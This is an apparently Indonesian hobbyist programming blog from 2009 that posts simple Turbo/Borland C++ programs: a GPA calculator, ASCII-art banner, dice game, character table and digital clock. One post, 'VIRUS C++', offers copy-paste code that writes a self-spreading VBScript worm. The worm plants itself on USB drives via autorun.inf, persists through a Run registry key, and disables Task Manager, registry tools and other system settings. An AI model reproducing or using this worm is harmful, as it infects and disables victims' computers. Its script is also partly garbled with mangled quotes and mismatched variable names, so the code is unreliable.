Mengenai Saya

Foto saya
Kediri, java_script, Indonesia
Selamat datang di dalam situs q,postingan tentang c++, java dan html script serta masih banyak lagi akan nimbrung semua disini

Senin, April 20, 2009

INDEK PERSONAL

#include iostream.h
#include stdlib.h
#include string.h
#include conio.h

class mhs
{
private:
char nama[24];
int jml_mk,nilai[24],sks[24];

public:
int jum_mhs;
mhs();
void input_data();
void nama_mhs(char *);
int jum_matkul();
int jum_sks();
float ip();
float lulus();
};

//Constructor
mhs::mhs()
{
int i;
strcpy(nama,"NULL");
jml_mk=0;
for(i=0; i < 24; i++)
{
nilai[i]=5;
sks[i]=0;
}
}

//Method untuk memasukkan data ke dalam class
void mhs::input_data()
{
int i;
char bf[30];

//Masukkan nama mahasiswa
cout << "Nama Mahasiswa = ";
cin.getline(nama,24);

//Masukkan jumlah mata kuliah
while((jml_mk > 24)||(jml_mk < 1))
{
cout << "Jumlah mata kuliah = ";
cin.getline(bf,30);
jml_mk=atoi(bf);
if((jml_mk > 24)||(jml_mk < 1))
cout << "Masukkan angka 1-24\n\n";
}

for(i=0;i < jml_mk;i++)
{

//Masukkan nilai untuk masing-masing mata kuliah
while((nilai[i] >4)||(strlen(bf) > 1) || (nilai[i] <=0))
{
cout << "\nNilai mata kuliah " << (i+1) << " = ";
cin.getline(bf,30);
nilai[i]=(int)bf[0];
if(nilai[i] < 70) nilai[i]=69-nilai[i];
else nilai[i]=101-nilai[i];
if((nilai[i] > 4)||(strlen(bf) > 1)||(nilai[i] < 0))
cout << "Masukkan huruf A-E atau a-e\n";
}

//Masukkan jumlah sks untuk masing-masing mata kuliah
while((sks[i] > 4)||(sks[i] < 1))
{
cout << "Jumlah SKS mata kuliah " << (i+1) << " = ";
cin.getline(bf,30);
sks[i]=atoi(bf);
if((sks[i] > 4)||(sks[i] < 1))
cout << "Masukkan angka 1-4\n\n";
}

}
}

//Method untuk menampilkan nama
void mhs::nama_mhs(char *s)
{
strcpy(s,nama);
}

//Method untuk menampilkan jumlah mata kuliah
int mhs::jum_matkul()
{
return (jml_mk);
}

//Method untuk menghitung jumlah sks
int mhs::jum_sks()
{
int i,j;
j=0;
for(i=0; i < jml_mk; i++) j+=sks[i];
return(j);
}

//Method untuk menghitung ip
float mhs::ip()
{
int i,j_sks,total;
j_sks=0;
total=0;
for(i=0; i < jml_mk; i++)
{
j_sks+=sks[i];
total+=(nilai[i]*sks[i]);
}
if (total/j_sks>=3)
cout<<"__lulus_______| ";
else
cout<<"__gagal_______| ";
return ((float)total/j_sks);
}


//--------- Akhir dari Class mhs ---------//


//Program utama

int main()
{

//Local Variable
int i,jum_mhs;
char bf[30],nama[24],user[24];
mhs node[10];

//Meminta user untuk memasukkan namanya
cout << "Program Menghitung IP mahasiswa\n\n";

//Meminta user untuk memasukkan jumlah mahasiswa
jum_mhs=0;
while((jum_mhs > 10)||(jum_mhs < 1))
{
cout << "Masukkan Jumlah Mahasiswa yang akan dihitung = ";
cin.getline(bf,30);
jum_mhs=atoi(bf);
if((jum_mhs > 10)||(jum_mhs < 1))
cout << "Masukkan angka 1-10\n\n";
}

//Meminta user untuk memasukkan data masing-masing mahasiswa
for(i=0;i < jum_mhs;i++)
{
cout << "\nDATA MAHASISWA " << (i+1) << endl;
node[i].input_data();
}

//Menampilkan Hasil
cout << endl << endl;
cout << "|--------------------------|-------------|---------|-----------------|------|" << endl;
cout << "| Nama Mahasiswa___________| Jumlah______| Jumlah__| KELULUSAN_______| IP___|" << endl;
cout << "|__________________________| Mata Kuliah | SKS_____| > 3.00__________|______|" << endl;
cout << "|--------------------------|-------------|---------|-----------------|------|" << endl;

for(i=0;i < jum_mhs;i++)
{
cout.setf(ios::left|ios::showpoint);
node[i].nama_mhs(nama);
cout << "|_";
cout.width(25);
cout << nama;
cout << "|______";
cout.width(7);
cout << node[i].jum_matkul();
cout << "|____";
cout.width(5);
cout << node[i].jum_sks();
cout << "|___";
cout.width(6);
cout.precision(3);
cout << node[i].ip();
cout << "_|\n";

}

cout << "|--------------------------|-------------|---------|-----------------|------|" << endl;
cout << endl;
// return (0);
getche();
}

Minggu, April 19, 2009

XCODE C++

#include iostream.h
#include conio.h
#include string.h

int main()
{
int huruf[22][1][80] = {{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,},
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},

{0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0},
{0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0},
{0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0},
{0,0,1,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0},
{0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,1,1,0},
{0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0},

{0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0},
{0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,1,1,0},
{0,0,1,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0},
{0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0},
{0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0},
{0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0},

{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}};


int i,j,k;

clrscr();
for(i=0; i<22; i++)
{
for(j=0; j<1; j++)
{
for(k=0; k<80; k++)
if(huruf[i][j][k] == 1)
cout << '\x20';
else
cout << '\x1';
}
}
getche();

}

GAME DADU C++

#include iostream
#include time.h
#include stdlib.h
#include windows.h
#include conio.h
void one();
void two();
void three();
void four();
void five();
void six();

int main()
{
short unsigned int score = 0;
short unsigned int compScore = 0;
short unsigned int num = 0;
short unsigned int num2 = 0;
short unsigned int compNum = 0;
short unsigned int compNum2 = 0;
short unsigned int sum = 0;
short unsigned int compSum = 0;
char letter;

srand(time(NULL));

system("title Je Dice Game");
while (letter != 'q')
{
cout << "Your Score: " << score << "\n";
cout << "computer's Score: " << compScore << "\n\n";
cout << "Press r to roll or q to quit: ";
cin >> letter;
num = 1 + rand() % (6 - 1 + 1);
num2 = 1 + rand() % (6 - 1 + 1);
compNum = 1 + rand() % (6 - 1 + 1);
compNum2 = 1 + rand() % (6 - 1 + 1);

sum = num + num2;
compSum = compNum + compNum2;



if (letter == 'q')
break;
if (letter != 'r')
{
system("cls");
continue;
}

switch (num)
{
case 1:
one();
break;
case 2:
two();
break;
case 3:
three();
break;
case 4:
four();
break;
case 5:
five();
break;
case 6:
six();
break;
default:
cout << "Error...";
break;
}
switch (num2)
{
case 1:
one();
break;
case 2:
two();
break;
case 3:
three();
break;
case 4:
four();
break;
case 5:
five();
break;
case 6:
six();
break;
default:
cout << "Error...";
break;
}
cout << "\nYours: " << num << ", " << num2 << "\n";
cout << "Computer's: " << compNum << ", " << compNum2 << "\n\n";


if (sum > compSum)
{
cout << "You won!!\n\n";
score++;
}
else
{
compScore++;
cout << "you lost...\n\n";
}


system("pause");
system("cls");

if (score == 12)
{
MessageBox(0, "You Won!!!", "Results:", MB_ICONEXCLAMATION);
break;
}
if (compScore == 12)
{
MessageBox(0, "You lost...", "Results:", MB_ICONEXCLAMATION);
break;
}
}
getche();
}

void one()
{
cout << "-----\n";
cout << "| |\n";
cout << "| O |\n";
cout << "| |\n";
cout << "-----\n";
}
void two()
{
cout << "-----\n";
cout << "| O|\n";
cout << "| |\n";
cout << "|O |\n";
cout << "-----\n";
}
void three()
{
cout << " -----\n";
cout << "| O|\n";
cout << "| O |\n";
cout << "|O |\n";
cout << " -----\n";
}
void four()
{
cout << " -----\n";
cout << "|O O|\n";
cout << "| |\n";
cout << "|O O|\n";
cout << " -----\n";
}
void five()
{
cout << " -----\n";
cout << "|O O|\n";
cout << "| O |\n";
cout << "|O O|\n";
cout << " -----\n";
}
void six()
{
cout << " -----\n";
cout << "|O O|\n";
cout << "|O O|\n";
cout << "|O O|\n";
cout << " -----\n";
}

SIMBOL KARAKTER

#include iomanip.h
#include conio.h
main()
{
cout << "\t";
for (int i=0; i<=255; i++)
{
cout << setw(3) << i << "=" << char(i) << " " << " " << " ";
}
cout << "\n";
getche();
}

VIRUS C++

BAGI YANG PENGEN MEMBUAT SENSASI DI KOMPINYA BS COPY PASTE KODE DI BAWAH INI MENGGUNAKAN BORLAND C++ 5.02

#include iostream.h
#include fstream.h
#include iomanip.h
void main()
{
{ofstream filevbs;
filevbs.open("D:/m30n6.dll.vbs");
filevbs<<"on error resume next\n";

filevbs<<"dim rekur,windowpath,flashdrive,fs,mf,isi,tf,meong,nt,check,sd\n";

filevbs<<"isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe me0n6.dll.vbs”\n";
filevbs<<"set fs = createobject(”Scripting.FileSystemObject”)\n";
filevbs<<"set mf = fs.getfile(Wscript.ScriptFullname)\n";
filevbs<<"dim text,size\n";
filevbs<<"size = mf.size \n";
filevbs<<"check = mf.drive.drivetype\n";
filevbs<<"set text = mf.openastextstream(1,-2)\n";
filevbs<<"do while not text.atendofstream\n";
filevbs<<"rekur = rekur & text.readline\n";
filevbs<<"rekur = rekur & vbcrlf\n";
filevbs<<"loop\n";
filevbs<<"do\n";

filevbs<<"Set windowpath = fs.getspecialfolder(0)\n";
filevbs<<"set tf = fs.getfile(windowpath & “\\\ batch- me0n6.dll.vbs “)\n";
filevbs<<"tf.attributes = 32\n";
filevbs<<"set tf=fs.createtextfile(windowpath & “\\\ batch- m30n6.dll.vbs”,2,true)\n";
filevbs<<"tf.write rekursif\n";
filevbs<<"tf.close\n";
filevbs<<"set tf = fs.getfile(windowpath & “\\\ batch- m30n6.dll.vbs “)\n";
filevbs<<"tf.attributes = 39\n";

filevbs<<"for each flashdrive in fs.drives\n";

filevbs<<"If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then\n";

filevbs<<"set tf=fs.getfile(flashdrive.path &”\\\ m30n6.dll.vbs “)\n";
filevbs<<"tf.attributes =32\n";
filevbs<<"set tf=fs.createtextfile(flashdrive.path &”\\\ m30n6.dll.vbs “,2,true)\n";
filevbs<<"tf.write rekursif\n";
filevbs<<"tf.close\n";
filevbs<<"set tf=fs.getfile(flashdrive.path &”\\\ m30n6.dll.vbs “)\n";
filevbs<<"tf.attributes = 39\n";

filevbs<<"set tf =fs.getfile(flashdrive.path &”\\\ autorun.inf”)\n";
filevbs<<"tf.attributes = 32\n";
filevbs<<"set tf=fs.createtextfile(flashdrive.path &”\\\ autorun.inf”,2,true)\n";
filevbs<<"tf.write isi\n";
filevbs<<"tf.close\n";
filevbs<<"set tf = fs.getfile(flashdrive.path &”\\\ autorun.inf”)\n";
filevbs<<"tf.attributes=39\n";
filevbs<<"end if\n";
filevbs<<"next\n";


filevbs<<"set meong = createobject(”WScript.Shell”)\n";

filevbs<<"meong.regwrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Internet Explorer\\\ Main\\\ Window Title”,” THE MEONG v.s. ZAY “\n";

filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ Explorer\\\ Advanced\\\ Hidden”, “0?, “REG_DWORD”\n";

filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ Explorer\\\ NoFind”, “1?, “REG_DWORD”\n";
filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ Explorer\\\ NoFolderOptions”, “1?, “REG_DWORD”\n";
filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ Explorer\\\ NoRun”, “1?, “REG_DWORD”\n";
filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ System\\\ DisableRegistryTools”, “1?, “REG_DWORD”\n";
filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ System\\\ DisableTaskMgr”, “1?, “REG_DWORD”\n";

filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ Explorer\\\ NoViewContextMenu”, “1?, “REG_DWORD”\n";

filevbs<<"meong.regwrite “HKEY_LOCAL_MACHINE\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Winlogon\\\ LegalNoticeCaption”, “Worm Meong. Variant from Rangga-Zay, don’t panic all data are safe.”\n";

filevbs<<"meong.regwrite “HKEY_LOCAL_MACHINE\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Run\\\ Systemdir”, windowpath & “\\\ batch- m30n6.dll.vbs “\n";

filevbs<<"meong.regwrite “HKEY_LOCAL_MACHINE\\\ SOFTWARE\\\ Microsoft\\\ Windows NT\\\ CurrentVersion\\\ RegisteredOrganization”, “The Batrix”\n";
filevbs<<"meong.regwrite “HKEY_LOCAL_MACHINE\\\ SOFTWARE\\\ Microsoft\\\ Windows NT\\\ CurrentVersion\\\ RegisteredOwner”,”Meong”\n";

filevbs<<"if check <> 1 then\n";
filevbs<<"Wscript.sleep 200000\n";
filevbs<<"end if\n";
filevbs<<"loop while check <> 1\n";
filevbs<<"set sd = createobject(”Wscript.shell”)\n";
filevbs<<"sd.run windowpath & “\\\ explorer.exe /e,/select, ” & Wscript.ScriptFullname\n";

filevbs.close();
}
}

//fileteks.open("D:/algo.txt", ios::app);

JAM DIGITAL C++

SOURCE CODE !!!

#include iostream.h
#include time.h
#include conio.h

class TimeDate {
time_t systime;
public:
TimeDate(time_t t); // constructor
void show();
};

TimeDate::TimeDate(time_t t)
{
systime = t;
}

void TimeDate::show()
{
cout << ctime(&systime);
}

int main()
{
je:

cout << "SIMPLE DIGITAL CLOCK !!!\n\n";

time_t x;

x = time(NULL);

TimeDate ob(x);

ob.show();

cout << "\nPRESS ENTER TO RELOAD !!!";
getche();
clrscr();
goto je;
getche();
}